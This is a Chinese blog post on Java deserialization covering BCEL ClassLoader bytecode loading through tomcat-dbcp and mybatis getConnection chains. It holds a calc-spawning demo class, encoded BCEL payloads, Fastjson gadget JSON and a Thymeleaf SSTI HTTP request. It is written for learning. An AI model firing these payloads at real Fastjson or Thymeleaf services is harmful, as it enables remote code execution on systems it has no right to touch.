BCEL ClassLoader加载动态字节码|Java反序列化(十三)
特殊点: com.sun.org.apache.bcel
是位于原生的JDK中的
使用条件:
- 自定义使用加载类的Classloader为
com.sun.org.apache.bcel.internal.util.ClassLoader
- 自定义指定Classloader加载的类名
触发方式:
- mybatis的
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.getConnection()
- dbcp2的
org.apache.commons.dbcp2.BasicDataSource.getConnection()
常用于:
- Fastjson反序列化
调用链
BCEL的特殊的类加载机制只是自身的一种功能, 如果没有任何外在条件和依赖的话是不能利用的, 想要利用BCEL的字节码加载恶意类并实例化从而执行恶意代码, 这就需要存在mybatis
依赖或者dbcp2
(Tomcat依赖里自带有dbcp2), 同时这两种触发方式的起始点都是setter方法而非readObject, 这就意味着这不是一个完整的反序列化调用链,需要其他的条件进行触发, 一般用在fastjson解析
中
mybatis触发:
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.getConnection()
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.doGetConnection(java.lang.String, java.lang.String)
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.doGetConnection(java.util.Properties)
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.initializeDriver
java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader) #这里forname使用的Classloader是org.apache.bcel.util.ClassLoader
org.apache.commons.dbcp2.BasicDataSource.getConnection()
org.apache.commons.dbcp2.BasicDataSource.createDataSource
org.apache.commons.dbcp2.BasicDataSource.createConnectionFactory
org.apache.commons.dbcp2.DriverFactory.createDriver
java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader) #这里forname使用的Classloader是org.apache.bcel.util.ClassLoader
触发Demo
动态加载字节码, 看到这几个字, 如果熟悉CC链的第一反应肯定是TemplateImpl加载字节码, 这里的BCEL使用效果其实差不多一个意思, BCEL就是直接通过自己的classloader函数进行类初始化。
在使用这个之前可以先看p神的BCEL ClassLoader去哪了,文章的文末尾讲到了一段BCEL
有意思的更迭历史.
自定义执行恶意静态代码的类Evilcalc
:
package ysoserial.payloads.h0cksrExtend;
import java.io.IOException;
public class Evilcalc {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
测试demo:
package ysoserial.payloads.h0cksrExtend;
import org.apache.bcel.Repository;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;
import org.apache.ibatis.datasource.unpooled.UnpooledDataSource;
/*
调用链:
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.getConnection()
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.doGetConnection(java.lang.String, java.lang.String)
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.doGetConnection(java.util.Properties)
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.initializeDriver
java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader) #这里forname使用的Classloader是org.apache.bcel.util.ClassLoader
*/
public class BCEL_mybatis {
public static void test()throws Exception {
JavaClass cls = Repository.lookupClass("ysoserial.payloads.h0cksrExtend.Evilcalc");
String code = Utility.encode(cls.getBytes(), true);
System.out.println("BCEL" + code);
UnpooledDataSource unpooledDataSource = new UnpooledDataSource();
unpooledDataSource.setDriver("BCEL" + code);
unpooledDataSource.setDriverClassLoader(new ClassLoader());
unpooledDataSource.getConnection();
}
public static void main(String[] args) throws Exception {
test();
}
}
$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b11v$D$a6$a1$94$7e$7fA$c8$Bs$e8$8d$a8$X$94J$IS$aa$G$d1$f3f$b3$K$L$c6$8e$ec$N$K$bf$a8g$$P$f5$c0$P$e8$8fB$ccn$J$m$b5$87Z$f2$8c$e7$bdyof$bd$bf$af$7f$5d$B$f8$88$V$l$k$9e$f8X$c2S$P$cb$s$3fs$f1$dcG$N$_$5c$bct$f1$8a$a1$deQ$99$d2$9f$Y$aa$ad$b5$D$Gg$x$lH$86F$a22$f9e$7c$d2$97$c5$3e$ef$a7$84DI$$xz$c0$Le$ea$5b$d0$d1$87$aadh$tge$5eJ$a2$d2x$c4$cf$d2$9c$P$ca$f8pC$i$97Ew$a2e6$88$bb$a7$w$r$b9$d8d$f0$3a$o$bd$j$c9$c8$a2$99$i$f1S$k$ab$3c$de$de$ebN$84$ii$95g$d4$W$f64$X$c7$bb$7cdG$d1$d6$M$7e$_$l$XB$7eVft8$b5$5c7$fa$A3$f0$5d$bc$O$f0$Goi$_C$Ex$87$f7$M$L$ff$f0$P$f0$B$3eC$eb$7f$d7f$98$b3$$$v$cf$86$f1$5e$ffH$K$cd0$7f$P$7d$hgZ$9d$d0V$feP$ea$bb$a2$d9ZK$fe$ea$a1$a39r$o$c9r$b5$f5$80$ed$e9Be$c3$cd$87$82$afE$$dY$92$a01$oR$db$l$b2_p$n$e9$90$$$5d$acy$w$60$e6$e8$Ug$a9$8a$v3$ca$b5$f6$r$d8$b9$a5$D$8au$L$d6$RR$M$fe4$e0$R$g$94$3d$cc$dd$89$b95$D$a2$9f$a8D$d5$L8$df$7f$c0$dbi_$a0$7en$f1$Z$d2$d6P$b5$8e$8b$f4e$Q$83$F$e4$Q$92$c3$3c$c5$e9$84$Q$O$d5$RU$L$f4$ba$a8$q$$$k$3bD4$edR$8b7$U$8fY$W$a2$C$A$A
BCEL的loadclass加载自定义恶意类
BCEL包中的com.sun.org.apache.bcel.internal.util.ClassLoader
可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()
方法,源码如下:
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("BCEL") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
我们主要关注参数中的class_name
可以看到loadClass
函数显示会从自身的一个classes => Hashtable
尝试获取class, 然后检查需要加载的类名是否以java.|javax.|sun.
开始, 如果是的话则直接退出
最后检查传入的class_name 是否以$$BCEL$$
开头, 如果是的话就使用com.sun.org.apache.bcel.internal.util.ClassLoader#createClass
对类名进行处理加载
BCEL的自定义类创建函数createClass如何解析?
BCEL的createClass函数代码如下:
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("BCEL");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
// Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool();
ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));
return clazz;
}
我们需要重点关注的是createClass
中的 com.sun.org.apache.bcel.internal.classfile.Utility#decode
函数和com.sun.org.apache.bcel.internal.classfile.ClassParser#parse
, 它对real_name
进行了解码操作, decode函数以及加载操作, decode函数源码如下:
public static byte[] decode(String s, boolean uncompress) throws IOException {
char[] chars = s.toCharArray();
CharArrayReader car = new CharArrayReader(chars);
JavaReader jr = new JavaReader(car);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int ch;
while((ch = jr.read()) >= 0) {
bos.write(ch);
}
bos.close();
car.close();
jr.close();
byte[] bytes = bos.toByteArray();
if(uncompress) {
GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] tmp = new byte[bytes.length * 3]; // Rough estimate
int count = 0;
int b;
while((b = gis.read()) >= 0)
tmp[count++] = (byte)b;
bytes = new byte[count];
System.arraycopy(tmp, 0, bytes, 0, count);
}
return bytes;
}
嗯嗯,,,其实大概理解为先将数据转为bytes然后再用GZIPInputStream
的方式读出数据流获得二进制数据流就行了
至于com.sun.org.apache.bcel.internal.classfile.ClassParser#parse
也没什么好看的, 就是按一定格式读取相关的class信息然后调用new JavaClass
获取一个class对象, 详细的数据处理格式我们其实并不需要了解太多, 因为Utility.decode
有对应的编码函数com.sun.org.apache.bcel.internal.classfile.Utility#encode
, 我们只需要将class的使用tility#encode
进行编码即可
完整的利用(触发方式)
上面的loadClass
方法完成了恶意类的动态字节码类加载和实例化, 但是并没有提到完整的调用链, 一般BCEL的触发方式有两种用户导入的依赖可供选择:
- tomcat-dbcp
- tomcat7 => org.apache.tomcat.dbcp.dbcp.BasicDataSource
- tomcat8及其以后 => org.apache.tomcat.dbcp.dbcp2.BasicDataSource
- mybatis
tomcat-dbcp
这里因为下了几个Tomcat的依赖都没找到tomcat-dbcp
, 所以我就直接在pom.xml中从org.apache.commons
获取commons-dbcp2
了, 关键点没啥差别
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-dbcp2</artifactId>
<version>2.7.0</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-pool2</artifactId>
<version>2.8.0</version>
</dependency>
触发demo:
package ysoserial.payloads.h0cksrExtend;
import org.apache.bcel.Repository;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;
//一般触发是通过org.apache.tomcat.dbcp.dbcp2.BasicDataSource, 但是直接下载Tomcat依赖没找到, 所以这里直接下载使用org.apache.commons的dbcp2依赖
import org.apache.commons.dbcp2.BasicDataSource;
public class BCELDemo {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass("ysoserial.payloads.h0cksrExtend.Evilcalc");
String code = Utility.encode(cls.getBytes(), true);
System.out.println("BCEL" + code);
// new ClassLoader().loadClass("BCEL" + code).newInstance();
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(new ClassLoader());
basicDataSource.setDriverClassName("BCEL" + code);
basicDataSource.getConnection();
}
}
tomcat-dbcp触发的关键点就在于org.apache.commons.dbcp2.BasicDataSource
, 而这个类的实例化
直接从正向简单说一下调用Gadget:
- org.apache.commons.dbcp2.BasicDataSource#getConnection()
- org.apache.commons.dbcp2.BasicDataSource#createDataSource
- org.apache.commons.dbcp2.BasicDataSource#createConnectionFactory
- org.apache.commons.dbcp2.ConnectionFactoryFactory#createConnectionFactory
- org.apache.commons.dbcp2.DriverFactory#createDriver
最后的DriverFactory#createDriver
代码如下, 传入的basicDataSource
对象就是就是调用DriverFactory#createDriver
方法的对象
会从basicDataSource
获取driverClassName
和driverClassLoader
, 并且使用driverClassLoader去加载driverClassName这个类
所以我们就定义basicDataSource实例对象的driverClassName
和driverClassLoader
成上面的BCEL调用就行, 后面只要执行无参的getConnection
方法就能完成BCEL的动态字节码加载类了
basicDataSource.setDriverClassLoader(new ClassLoader());
basicDataSource.setDriverClassName("BCEL" + code);
basicDataSource.getConnection();
这个常在fastjson中使用, 触发getConnection
可以通过$ref
实现,$ref的相关作用可以参考下表
或者可以将其作为key,在fastjson解析的时候就会调用它的全部getter函数
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "BCEL$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b11v$D$a6$a1$94$7e$7fA$c8$Bs$e8$8d$a8$X$94J$IS$aa$G$d1$f3f$b3$K$L$c6$8e$ec$N$K$bf$a8g$$P$f5$c0$P$e8$8fB$ccn$J$m$b5$87Z$f2$8c$e7$bdyof$bd$bf$af$7f$5d$B$f8$88$V$l$k$9e$f8X$c2S$P$cb$s$3fs$f1$dcG$N$_$5c$bct$f1$8a$a1$deQ$99$d2$9f$Y$aa$ad$b5$D$Gg$x$lH$86F$a22$f9e$7c$d2$97$c5$3e$ef$a7$84DI$$xz$c0$Le$ea$5b$d0$d1$87$aadh$tge$5eJ$a2$d2x$c4$cf$d2$9c$P$ca$f8pC$i$97Ew$a2e6$88$bb$a7$w$r$b9$d8d$f0$3a$o$bd$j$c9$c8$a2$99$i$f1S$k$ab$3c$de$de$ebN$84$ii$95g$d4$W$f64$X$c7$bb$7cdG$d1$d6$M$7e$_$l$XB$7eVft8$b5$5c7$fa$A3$f0$5d$bc$O$f0$Goi$_C$Ex$87$f7$M$L$ff$f0$P$f0$B$3eC$eb$7f$d7f$98$b3$$$v$cf$86$f1$5e$ffH$K$cd0$7f$P$7d$hgZ$9d$d0V$feP$ea$bb$a2$d9ZK$fe$ea$a1$a39r$o$c9r$b5$f5$80$ed$e9Be$c3$cd$87$82$afE$$dY$92$a01$oR$db$l$b2_p$n$e9$90$$$5d$acy$w$60$e6$e8$Ug$a9$8a$v3$ca$b5$f6$r$d8$b9$a5$D$8au$L$d6$RR$M$fe4$e0$R$g$94$3d$cc$dd$89$b95$D$a2$9f$a8D$d5$L8$df$7f$c0$dbi_$a0$7en$f1$Z$d2$d6P$b5$8e$8b$f4e$Q$83$F$e4$Q$92$c3$3c$c5$e9$84$Q$O$d5$RU$L$f4$ba$a8$q$$$k$3bD4$edR$8b7$U$8fY$W$a2$C$A$A"
}
}: "x"
}
mybatis
这个其实跟上面差不多, 在网上搜了一下BCEL的触发方式找了一圈发现全都是通过tomcat-dbcp
触发的, 根本没找到使用mybatis
的触发方式看到的基本都是mybatis的二级缓存反序列化CVE-2020-26945(应该是我搜索方式不对?), 不过这个点我是在Java安全攻防之老版本Fastjson的一些不出网利用看到的, 找了一圈没有然后我又回去看了一下才发现原来文中已经直接说的很详细了.
demo代码:
package ysoserial.payloads.h0cksrExtend;
import org.apache.bcel.Repository;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;
import org.apache.ibatis.datasource.unpooled.UnpooledDataSource;
public class BCEL_mybatis {
public static void test()throws Exception {
JavaClass cls = Repository.lookupClass("ysoserial.payloads.h0cksrExtend.Evilcalc");
String code = Utility.encode(cls.getBytes(), true);
System.out.println("BCEL" + code);
UnpooledDataSource unpooledDataSource = new UnpooledDataSource();
unpooledDataSource.setDriver("BCEL" + code);
unpooledDataSource.setDriverClassLoader(new ClassLoader());
unpooledDataSource.getConnection();
}
public static void main(String[] args) throws Exception {
test();
}
}
和上面的tomcat-dbcp
差不多, mybatis的关键类为org.apache.ibatis.datasource.unpooled.UnpooledDataSource
也是通过一个无参的getConnection
方法触发org.apache.ibatis.datasource.unpooled.UnpooledDataSource#getConnection()
调用链
调用过程大概如下:
-
org.apache.ibatis.datasource.unpooled.UnpooledDataSource#getConnection()
-
org.apache.ibatis.datasource.unpooled.UnpooledDataSource#doGetConnection(java.lang.String, java.lang.String)
-
org.apache.ibatis.datasource.unpooled.UnpooledDataSource#doGetConnection(java.util.Properties)
-
org.apache.ibatis.datasource.unpooled.UnpooledDataSource#initializeDriver
Class.forName(driver, true, driverClassLoader)
是在fastjson中常被利用, 构造方法就和上面一样可以使用$ref
或将UnpooledDataSource对象作为key
{
{
"aaa": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"d": "BCEL$l$8b$I$A$..."
}
}: "bbb"
}
Thymeleaf SSTI
spring-boot下的thymeleaf模板注入目前貌似还没见过相关题目, 这里也没准备去复现了, 直接留一个学习链接:https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/
POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1010
lang=::__${"".getClass().forName("BCEL$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________
参考连接
https://www.cnblogs.com/CoLo/p/15869871.html#thymeleaf-ssti-payload
https://mp.weixin.qq.com/s/VUqnW65O6ci5iI3LaY0DZg
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
2022_11_12 第十二周星期六 01:00